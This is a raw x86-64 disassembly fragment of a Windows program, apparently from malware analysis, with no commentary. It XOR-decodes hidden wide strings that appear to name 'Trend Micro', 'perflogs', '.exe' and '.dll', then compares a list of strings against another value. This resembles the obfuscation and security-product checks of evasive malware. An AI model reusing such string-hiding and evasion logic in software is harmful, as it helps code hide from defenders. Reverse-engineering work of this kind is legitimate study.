movzx eax, word [rsp + 0x13e]
mov edx, dword [rsp + 0x130]
xor eax, edx
mov word [rsp + 0x13e], ax
movzx eax, word [rsp + 0x140]
mov edx, dword [rsp + 0x130]
xor eax, edx
mov word [rsp + 0x140], ax
movzx eax, word [rsp + 0x142]
mov edx, dword [rsp + 0x130]
xor eax, edx
mov word [rsp + 0x142], ax
movzx eax, word [rsp + 0x144]
mov edx, dword [rsp + 0x130]
xor eax, edx
mov word [rsp + 0x144], ax
xor eax, eax
mov word [rsp + 0x146], ax
lea rax, [rsp + 0x5c0]
mov qword [rsp + 0x5b0], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
cmp rsi, 0xe
mov qword [rsp + 0x2f0], rdi
ja 0x1400113cd
cmp rdi, 1
mov rcx, qword [rsp + 0x5b0]
jne 0x14001156a
movzx eax, word [rsp + 0x134]
mov edx, 2
mov word [rcx], ax
mov eax, 1
mov qword [rsp + 0x5b8], rax
xor r13d, r13d
xor r14d, r14d
movzx eax, word [0x1400c8bac]
mov word [rcx + rdx], r13w
movzx edx, word [0x1400c8baa]
lea rbp, [rsp + 0x1f4]
xor r15d, r15d
mov word [rsp + 0x1ee], r14w
movzx ecx, word [0x1400c8bae]
mov dword [rsp + 0x1f0], 0x7c
movdqa xmm1, xmmword [0x1400c94b0]
movq xmm0, qword [0x1400c94a0]
shl rax, 0x10
or rax, rdx
movzx edx, word [0x1400c8ba8]
movaps xmmword [rsp + 0x1d0], xmm1
shl rax, 0x10
xor ecx, 0x7c
mov word [rsp + 0x1e8], cx
mov rcx, rbp
or rax, rdx
movzx edx, word [str.Trend_Micro]
shl rax, 0x10
or rax, rdx
movzx edx, word [0x1400c8bb0]
movq xmm5, rax
movzx eax, word [0x1400c8bb2]
pxor xmm0, xmm5
movq qword [rsp + 0x1e0], xmm0
xor edx, 0x7c
xor eax, 0x7c
mov word [rsp + 0x1ea], dx
mov word [rsp + 0x1ec], ax
movabs rax, 0x1800120015002b
mov qword [rsp + 0x1f4], rax
movabs rax, 0x7c000f000b0013
mov qword [rsp + 0x1fc], rax
mov rax, qword [rsp + 0x1e8]
movq qword [rsp + 0x204], xmm0
mov qword [rsp + 0x20c], rax
movzx eax, word [rsp + 0x1f4]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x1f4], ax
movzx eax, word [rsp + 0x1f6]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x1f6], ax
movzx eax, word [rsp + 0x1f8]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x1f8], ax
movzx eax, word [rsp + 0x1fa]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x1fa], ax
movzx eax, word [rsp + 0x1fc]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x1fc], ax
movzx eax, word [rsp + 0x1fe]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x1fe], ax
movzx eax, word [rsp + 0x200]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x200], ax
movzx eax, word [rsp + 0x202]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x202], ax
movzx eax, word [rsp + 0x204]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x204], ax
movzx eax, word [rsp + 0x206]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x206], ax
movzx eax, word [rsp + 0x208]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x208], ax
movzx eax, word [rsp + 0x20a]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x20a], ax
movzx eax, word [rsp + 0x20c]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x20c], ax
movzx eax, word [rsp + 0x20e]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x20e], ax
movzx eax, word [rsp + 0x210]
mov edx, dword [rsp + 0x1f0]
xor eax, edx
mov word [rsp + 0x210], ax
lea rax, [rsp + 0x5e0]
mov word [rsp + 0x212], r15w
mov qword [rsp + 0x5d0], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
cmp rsi, 0xe
mov qword [rsp + 0x2f0], rdi
ja 0x14001125d
cmp rdi, 1
mov rcx, qword [rsp + 0x5d0]
jne 0x14001154a
movzx eax, word [rsp + 0x1f4]
mov edx, 2
mov word [rcx], ax
mov eax, 1
mov qword [rsp + 0x5d8], rax
movzx eax, word [str.perflogs]
xor ebp, ebp
xor r12d, r12d
mov word [rcx + rdx], bp
movzx ecx, word [0x1400c8bce]
mov word [rsp + 0x2ae], r12w
movzx edx, word [str..exe]
mov dword [rsp + 0x2f0], 0x1c
mov r8, qword [0x1400c94e0]
movd xmm0, eax
movzx eax, word [0x1400c8bc2]
pinsrw xmm0, word [0x1400c8bc0], 1
xor ecx, 0x1c
xor edx, 0x1c
mov word [rsp + 0x2a8], cx
mov word [rsp + 0x2aa], dx
movd xmm3, eax
movzx eax, word [0x1400c8bc6]
pinsrw xmm3, word [0x1400c8bc4], 1
punpckldq xmm0, xmm3
mov qword [rsp + 0x290], r8
movd xmm1, eax
movzx eax, word [0x1400c8bca]
pinsrw xmm1, word [0x1400c8bc8], 1
movd xmm2, eax
movzx eax, word [0x1400c8bd2]
pinsrw xmm2, word [0x1400c8bcc], 1
punpckldq xmm1, xmm2
punpcklqdq xmm0, xmm1
pxor xmm0, xmmword [0x1400c94c0]
movups xmmword [rsp + 0x298], xmm0
movdqa xmm1, xmmword [str.Hnyrx_Qu]
movaps xmmword [rsp + 0x280], xmm1
xor eax, 0x1c
mov word [rsp + 0x2ac], ax
movabs rax, 0x720079006e0048
mov qword [rsp + 0x2f4], rax
movabs rax, 0x750051003c0078
mov qword [rsp + 0x2fc], rax
movabs rax, 0x1c0073006e007f
mov qword [rsp + 0x304], rax
mov rax, qword [rsp + 0x2a0]
movq qword [rsp + 0x30c], xmm0
mov qword [rsp + 0x314], rax
mov rax, qword [rsp + 0x2a8]
mov qword [rsp + 0x31c], rax
xor eax, eax
nop dword [rax]
movzx edx, word [rsp + rax*2 + 0x2f4]
mov ecx, dword [rsp + 0x2f0]
xor edx, ecx
mov word [rsp + rax*2 + 0x2f4], dx
add rax, 1
cmp rax, 0x17
jne 0x140010948
lea rbp, [rsp + 0x2f4]
xor edi, edi
lea rax, [rsp + 0x600]
mov rcx, rbp
mov word [rsp + 0x322], di
mov qword [rsp + 0x5f0], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
cmp rsi, 0xe
mov qword [rsp + 0x250], rdi
ja 0x140011201
cmp rdi, 1
mov rcx, qword [rsp + 0x5f0]
jne 0x140011562
movzx eax, word [rsp + 0x2f4]
mov edx, 2
mov word [rcx], ax
mov eax, 1
xor r10d, r10d
xor r11d, r11d
mov qword [rsp + 0x5f8], rax
mov word [rsp + 0x242], r11w
mov word [rcx + rdx], r10w
mov dword [rsp + 0x250], 0x30
mov edx, dword [rsp + 0x250]
mov r15d, dword [rsp + 0x250]
mov r11d, dword [rsp + 0x250]
mov r14d, dword [rsp + 0x250]
mov r8d, dword [rsp + 0x250]
mov r13d, dword [rsp + 0x250]
add r15d, 1
mov eax, dword [rsp + 0x250]
add r11d, 2
mov esi, dword [rsp + 0x250]
add r14d, 3
movd xmm4, r11d
add r8d, 4
pinsrw xmm4, r14d, 1
add r13d, 5
mov dword [rsp + 0x2c], eax
mov eax, dword [rsp + 0x250]
mov r12d, dword [rsp + 0x250]
mov dword [rsp + 0x28], esi
mov r10d, dword [rsp + 0x250]
mov ebp, dword [rsp + 0x250]
mov ecx, dword [rsp + 0x250]
add eax, 8
mov edi, dword [rsp + 0x250]
movd xmm1, eax
add r12d, 9
mov r9d, dword [rsp + 0x250]
add r10d, 0xa
mov esi, dword [rsp + 0x250]
add ebp, 0xb
add ecx, 0xc
xor cx, word [0x1400c8bd6]
xor r10w, word [0x1400c8bd2]
add edi, 0xd
add r9d, 0xe
xor r9w, word [str..dll]
add esi, 0xf
xor si, word [0x1400c8bdc]
movd xmm0, ecx
mov ecx, dword [rsp + 0x250]
movzx eax, word [rsp + 0x2c]
movd xmm3, r10d
movd xmm2, r9d
xor bp, word [0x1400c8bd4]
xor di, word [0x1400c8bd8]
pinsrw xmm2, esi, 1
xor r12w, word [str..exe]
add ecx, 0x10
xor cx, word [0x1400c8bde]
add eax, 6
movzx esi, word [rsp + 0x28]
pinsrw xmm3, ebp, 1
pinsrw xmm0, edi, 1
punpckldq xmm0, xmm2
movd xmm2, r8d
pinsrw xmm1, r12d, 1
punpckldq xmm1, xmm3
movd xmm3, eax
punpcklqdq xmm1, xmm0
movd xmm0, edx
movaps xmmword [rsp + 0x230], xmm1
pinsrw xmm2, r13d, 1
mov rax, qword [rsp + 0x238]
lea r9d, [rsi + 7]
pinsrw xmm0, r15d, 1
punpckldq xmm0, xmm4
mov word [rsp + 0x240], cx
pinsrw xmm3, r9d, 1
punpckldq xmm2, xmm3
punpcklqdq xmm0, xmm2
pxor xmm0, xmmword [str.perflogs5l]
movaps xmmword [rsp + 0x220], xmm0
mov rdx, qword [rsp + 0x228]
lea rbp, [rsp + 0x254]
movq qword [rsp + 0x254], xmm0
mov rcx, rbp
mov qword [rsp + 0x25c], rdx
movq qword [rsp + 0x264], xmm1
mov qword [rsp + 0x26c], rax
mov eax, dword [rsp + 0x240]
mov dword [rsp + 0x274], eax
movzx eax, word [rsp + 0x254]
mov edx, dword [rsp + 0x250]
xor eax, edx
mov word [rsp + 0x254], ax
movzx edx, word [rsp + 0x256]
mov eax, dword [rsp + 0x250]
add eax, 1
xor eax, edx
mov word [rsp + 0x256], ax
movzx edx, word [rsp + 0x258]
mov eax, dword [rsp + 0x250]
add eax, 2
xor eax, edx
mov word [rsp + 0x258], ax
movzx edx, word [rsp + 0x25a]
mov eax, dword [rsp + 0x250]
add eax, 3
xor eax, edx
mov word [rsp + 0x25a], ax
movzx edx, word [rsp + 0x25c]
mov eax, dword [rsp + 0x250]
add eax, 4
xor esi, esi
xor eax, edx
mov word [rsp + 0x25c], ax
movzx edx, word [rsp + 0x25e]
mov eax, dword [rsp + 0x250]
add eax, 5
xor eax, edx
mov word [rsp + 0x25e], ax
movzx edx, word [rsp + 0x260]
mov eax, dword [rsp + 0x250]
add eax, 6
xor eax, edx
mov word [rsp + 0x260], ax
movzx edx, word [rsp + 0x262]
mov eax, dword [rsp + 0x250]
add eax, 7
xor eax, edx
mov word [rsp + 0x262], ax
movzx edx, word [rsp + 0x264]
mov eax, dword [rsp + 0x250]
add eax, 8
xor eax, edx
mov word [rsp + 0x264], ax
movzx edx, word [rsp + 0x266]
mov eax, dword [rsp + 0x250]
add eax, 9
xor eax, edx
mov word [rsp + 0x266], ax
movzx edx, word [rsp + 0x268]
mov eax, dword [rsp + 0x250]
add eax, 0xa
xor eax, edx
mov word [rsp + 0x268], ax
movzx edx, word [rsp + 0x26a]
mov eax, dword [rsp + 0x250]
add eax, 0xb
xor eax, edx
mov word [rsp + 0x26a], ax
movzx edx, word [rsp + 0x26c]
mov eax, dword [rsp + 0x250]
add eax, 0xc
xor eax, edx
mov word [rsp + 0x26c], ax
movzx edx, word [rsp + 0x26e]
mov eax, dword [rsp + 0x250]
add eax, 0xd
xor eax, edx
mov word [rsp + 0x26e], ax
movzx edx, word [rsp + 0x270]
mov eax, dword [rsp + 0x250]
add eax, 0xe
xor eax, edx
mov word [rsp + 0x270], ax
movzx edx, word [rsp + 0x272]
mov eax, dword [rsp + 0x250]
add eax, 0xf
xor eax, edx
mov word [rsp + 0x272], ax
movzx edx, word [rsp + 0x274]
mov eax, dword [rsp + 0x250]
add eax, 0x10
xor eax, edx
mov word [rsp + 0x274], ax
lea rax, [rsp + 0x620]
mov word [rsp + 0x276], si
mov qword [rsp + 0x610], rax
call sub.msvcrt.dll_wcslen
lea rsi, [rax + rax]
mov rdi, rsi
sar rdi, 1
cmp rsi, 0xe
mov qword [rsp + 0xf0], rdi
ja 0x1400111a5
cmp rdi, 1
mov rcx, qword [rsp + 0x610]
jne 0x14001155a
movzx eax, word [rsp + 0x254]
mov edx, 2
mov word [rcx], ax
mov eax, 1
xor r9d, r9d
mov qword [rsp + 0x618], rax
pxor xmm0, xmm0
mov word [rcx + rdx], r9w
mov ecx, 0x160
movaps xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x100], 0
call fcn.1400c2af0
mov r13, rax
mov qword [rsp + 0xf0], rax
mov rbp, qword [rsp + 0x20]
lea rax, [rax + 0x160]
mov rsi, r13
mov qword [rsp + 0x100], rax
lea r15, [rsp + 0x88]
jmp 0x140010eb0
cmp r12, 1
jne 0x140010efa
movzx eax, word [r14]
mov word [rsi + 0x10], ax
mov eax, 2
xor r8d, r8d
mov qword [rsi + 8], rdx
add rbp, 0x20
add rsi, 0x20
mov word [rcx + rax], r8w
lea rax, [rsp + 0x630]
cmp rbp, rax
je 0x140010f50
mov rax, qword [rbp + 8]
lea rcx, [rsi + 0x10]
mov r14, qword [rbp]
mov qword [rsi], rcx
lea rdi, [rax + rax]
mov r12, rdi
sar r12, 1
cmp rdi, 0xe
mov rdx, r12
mov qword [rsp + 0x88], r12
jbe 0x140010e78
xor r8d, r8d
mov rdx, r15
mov rcx, rsi
call fcn.1400b92b0
mov rdx, qword [rsp + 0x88]
mov rcx, rax
mov qword [rsi], rax
mov qword [rsi + 0x10], rdx
test r12, r12
je 0x140010f15
mov rdx, r14
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov rdx, qword [rsp + 0x88]
mov rcx, qword [rsi]
lea rax, [rdx + rdx]
jmp 0x140010e8b
mov rax, rdi
test rdi, rdi
je 0x140010f41
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x4d0]
lea rdx, [rax + rax]
jmp 0x14000efa8
mov rbp, qword [rsp + 0x20]
mov qword [rsp + 0xf8], rsi
lea rdi, [rsp + 0x610]
jmp 0x140010f8a
mov rax, qword [rdi + 0x10]
lea rdx, [rax + rax + 2]
call fcn.1400c2ab0
lea rax, [rdi - 0x20]
cmp rbp, rdi
je 0x140010fa0
mov rdi, rax
mov rcx, qword [rdi]
lea rax, [rdi + 0x10]
cmp rcx, rax
jne 0x140010f70
lea rax, [rdi - 0x20]
cmp rbp, rdi
jne 0x140010f87
nop
cmp r13, rsi
je 0x14001158a
lea r15, [rsp + 0x460]
mov rbp, r13
nop dword [rax]
mov rax, qword [rbp + 8]
mov qword [rsp + 0x4d0], rbx
mov r14, qword [rbp]
lea rdi, [rax + rax]
mov r12, rdi
sar r12, 1
cmp rdi, 0xe
mov r9, r12
mov qword [rsp + 0x460], r12
ja 0x1400110c8
cmp r12, 1
jne 0x140011120
movzx eax, word [r14]
mov rcx, rbx
mov word [rsp + 0x4e0], ax
mov eax, 2
xor edx, edx
mov qword [rsp + 0x4d8], r9
xor r8d, r8d
mov word [rcx + rax], dx
mov rdx, rcx
mov rcx, qword [rsp + 0x690]
call fcn.140055ca0
mov rcx, qword [rsp + 0x4d0]
cmp rax, 0xffffffffffffffff
jne 0x140011152
cmp rcx, rbx
je 0x140011128
mov rax, qword [rsp + 0x4e0]
add rbp, 0x20
lea rdx, [rax + rax + 2]
call fcn.1400c2ab0
cmp rsi, rbp
jne 0x140010fb8
mov edi, 1
mov rbx, r13
nop dword [rax + rax]
mov rcx, qword [rbx]
lea rax, [rbx + 0x10]
cmp rcx, rax
je 0x140011140
mov rax, qword [rbx + 0x10]
add rbx, 0x20
lea rdx, [rax + rax + 2]
call fcn.1400c2ab0
cmp rsi, rbx
jne 0x140011070
mov edx, 0x160
mov rcx, r13
call fcn.1400c2ab0
nop
movaps xmm6, xmmword [rsp + 0x630]
mov eax, edi
add rsp, 0x648
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x20]
xor r8d, r8d
mov rdx, r15
call fcn.1400b92b0
mov r9, qword [rsp + 0x460]
mov rcx, rax
mov qword [rsp + 0x4d0], rax
mov qword [rsp + 0x4e0], r9
test r12, r12
je 0x140011113
mov r8, rdi
mov rdx, r14
call sub.msvcrt.dll_memcpy
mov r9, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x4d0]
lea rax, [r9 + r9]
jmp 0x140011005
mov rcx, rbx
jmp 0x1400110f3
add rbp, 0x20
cmp rsi, rbp
jne 0x140010fb8
jmp 0x140011060
add rbx, 0x20
cmp rsi, rbx
jne 0x140011070
jmp 0x140011097
cmp rcx, rbx
je 0x140011169
mov rax, qword [rsp + 0x4e0]
lea rdx, [rax + rax + 2]
call fcn.1400c2ab0
xor edi, edi
jmp 0x140011065
mov rcx, qword [rsp + 0x20]
lea rdx, [rsp + 0x460]
xor r8d, r8d
call fcn.1400b92b0
mov rcx, rax
mov qword [rsp + 0x4d0], rax
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x4e0], rax
jmp 0x140010f21
lea rdx, [rsp + 0xf0]
xor r8d, r8d
lea rcx, [rsp + 0x610]
call fcn.1400b92b0
mov rcx, rax
mov qword [rsp + 0x610], rax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0x620], rax
test rdi, rdi
je 0x1400111f8
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0xf0]
mov rcx, qword [rsp + 0x610]
lea rdx, [rax + rax]
jmp 0x140010e13
lea rdx, [rsp + 0x250]
xor r8d, r8d
lea rcx, [rsp + 0x5f0]
call fcn.1400b92b0
mov rcx, rax
mov qword [rsp + 0x5f0], rax
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0x600], rax
test rdi, rdi
je 0x140011254
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x250]
mov rcx, qword [rsp + 0x5f0]
lea rdx, [rax + rax]
jmp 0x1400109d8
lea rdx, [rsp + 0x2f0]
xor r8d, r8d
lea rcx, [rsp + 0x5d0]
call fcn.1400b92b0
mov rcx, rax
mov qword [rsp + 0x5d0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x5e0], rax
test rdi, rdi
je 0x1400112b0
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x2f0]
mov rcx, qword [rsp + 0x5d0]
lea rdx, [rax + rax]
jmp 0x1400107fd
lea rdx, [rsp + 0x460]
xor r8d, r8d
lea rcx, [rsp + 0x4f0]
call fcn.1400b92b0
mov rcx, rax
mov qword [rsp + 0x4f0], rax
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x500], rax
test rdi, rdi
je 0x14001130c
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x4f0]
lea rdx, [rax + rax]
jmp 0x14000f1f4
lea rdx, [rsp + 0x460]
xor r8d, r8d
lea rcx, [rsp + 0x530]
call fcn.1400b92b0
mov rcx, rax
mov qword [rsp + 0x530], rax
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x540], rax
test rdi, rdi
je 0x140011368
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x530]
lea rdx, [rax + rax]
jmp 0x14000f64e
lea rdx, [rsp + 0x460]
xor r8d, r8d
lea rcx, [rsp + 0x510]
call fcn.1400b92b0
mov rcx, rax
mov qword [rsp + 0x510], rax
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x520], rax
test rdi, rdi
je 0x1400113c4
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x510]
lea rdx, [rax + rax]
jmp 0x14000f3fc
lea rdx, [rsp + 0x2f0]
xor r8d, r8d
lea rcx, [rsp + 0x5b0]
call fcn.1400b92b0
mov rcx, rax
mov qword [rsp + 0x5b0], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x5c0], rax
test rdi, rdi
je 0x140011420
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x2f0]
mov rcx, qword [rsp + 0x5b0]
lea rdx, [rax + rax]
jmp 0x140010522
lea rdx, [rsp + 0x2f0]
xor r8d, r8d
lea rcx, [rsp + 0x590]
call fcn.1400b92b0
mov rcx, rax
mov qword [rsp + 0x590], rax
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x5a0], rax
test rdi, rdi
je 0x14001147c
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x2f0]
mov rcx, qword [rsp + 0x590]
lea rdx, [rax + rax]
jmp 0x14001031a
lea rdx, [rsp + 0x460]
xor r8d, r8d
lea rcx, [rsp + 0x570]
call fcn.1400b92b0
mov rcx, rax
mov qword [rsp + 0x570], rax
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x580], rax
test rdi, rdi
je 0x1400114d8
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x570]
lea rdx, [rax + rax]
jmp 0x14000fc00
lea rdx, [rsp + 0x460]
xor r8d, r8d
lea rcx, [rsp + 0x550]
call fcn.1400b92b0
mov rcx, rax
mov qword [rsp + 0x550], rax
mov rax, qword [rsp + 0x460]
mov qword [rsp + 0x560], rax
test rdi, rdi
je 0x140011534
mov r8, rsi
mov rdx, rbp
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x460]
mov rcx, qword [rsp + 0x550]
lea rdx, [rax + rax]
jmp 0x14000fa0a
mov rax, rdi
jmp 0x1400114b8
mov rax, rdi
jmp 0x140011514
mov rax, rdi
jmp 0x140011290
mov rax, rdi
jmp 0x1400112ec
mov rax, rdi
jmp 0x1400111d8
mov rax, rdi
jmp 0x140011234
mov rax, rdi
jmp 0x140011400
mov rax, rdi
jmp 0x14001145c
mov rax, rdi
jmp 0x140011348
mov rax, rdi
jmp 0x1400113a4
mov edi, 1
jmp 0x140011097